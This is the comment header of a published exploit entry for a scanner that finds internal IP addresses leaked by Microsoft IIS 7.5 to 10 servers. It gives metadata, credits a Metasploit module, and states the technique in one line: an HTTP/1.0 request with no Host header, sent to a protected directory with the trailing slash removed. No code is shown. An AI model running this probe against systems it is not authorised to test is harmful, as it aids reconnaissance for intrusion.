# Exploit Title: Optimized IIS-HTTP-Internal-IP-Finder exploit (metasploit)
# Google Dork: -
# Date: 2020-05-18
# Exploit Author: KouroshRZ
# Vendor Homepage: https://www.microsoft.com
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=48264
# Version: IIS http webserver 7.5, 8.5, 10 (it depends on configuration)
# Tested on: windows
# CVE : -
# Copyright (c) 2018, Heather Pilkington of rapid7 #
# All rights reserved.
# https://www.rapid7.com/db/modules/auxiliary/scanner/http/iis_internal_ip
# This exploit is inspired by metasaploit framework module "Microsoft IIS HTTP Internal IP Disclosure"
# But here I'm gonna try to cover more possible situiations (multiple methods and urls) with several hosts for input
# The exploit is simple
# Just one http version 1.0 request without Host header to a protected directory with removing ending "/"
# Hosts list are in format like below
# <prorocol>://<domain or IP address>:<port>
# For more info read the example-hosts.txt
